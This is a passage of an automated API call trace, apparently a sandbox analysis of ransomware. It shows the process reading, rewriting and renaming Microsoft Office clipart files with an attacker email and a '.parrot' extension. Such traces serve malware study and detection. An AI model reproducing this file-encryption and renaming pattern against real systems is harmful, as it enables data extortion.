dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0130.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0130.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0130.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0130.538] WriteFile (in: hFile=0x1b0, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x10b8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x10b8, lpOverlapped=0x0) returned 1 [0130.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.539] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.539] CloseHandle (hObject=0x1b0) returned 1 [0130.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0130.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0130.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0130.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.540] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0130.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0130.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0130.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0130.540] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0130.545] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb64, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.545] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.545] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.547] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.547] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa4c, lpOverlapped=0x0) returned 1 [0130.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.547] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0130.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.547] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.547] GetLastError () returned 0x0 [0130.548] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604300 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ee50 [0130.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0130.548] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0130.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0130.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d0318 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0130.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0318 | out: hHeap=0x5b0000) returned 1 [0130.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0130.549] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.549] WriteFile (in: hFile=0x1b0, lpBuffer=0x5d8fd0*, nNumberOfBytesToWrite=0xb68, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5d8fd0*, lpNumberOfBytesWritten=0x18eed4*=0xb68, lpOverlapped=0x0) returned 1 [0130.549] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0130.549] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.550] CloseHandle (hObject=0x1b0) returned 1 [0130.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0130.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0130.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0130.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0130.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0130.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0130.551] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0130.552] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1628, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.552] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.552] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.554] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.554] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1510, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1510, lpOverlapped=0x0) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0130.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0130.555] GetLastError () returned 0x0 [0130.555] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4bb0 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0130.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4bb0 [0130.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0130.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4bb0 [0130.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0130.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0130.555] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0130.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0130.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604300 [0130.556] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0130.556] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1628, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.556] CloseHandle (hObject=0x1b0) returned 1 [0130.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0130.559] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x788, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.559] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.559] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.561] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.561] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x670, lpOverlapped=0x0) returned 1 [0130.561] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.561] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x788, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.561] CloseHandle (hObject=0x1b0) returned 1 [0130.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.564] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd50, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.564] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.564] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.566] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.566] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc38, lpOverlapped=0x0) returned 1 [0130.566] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.566] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.566] CloseHandle (hObject=0x1b0) returned 1 [0130.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.567] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0130.570] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x33cd, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.570] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.570] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.571] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.572] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32b5, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32b5, lpOverlapped=0x0) returned 1 [0130.573] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.573] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x33cd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.573] CloseHandle (hObject=0x1b0) returned 1 [0130.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0130.579] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x257e, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.579] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.579] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: 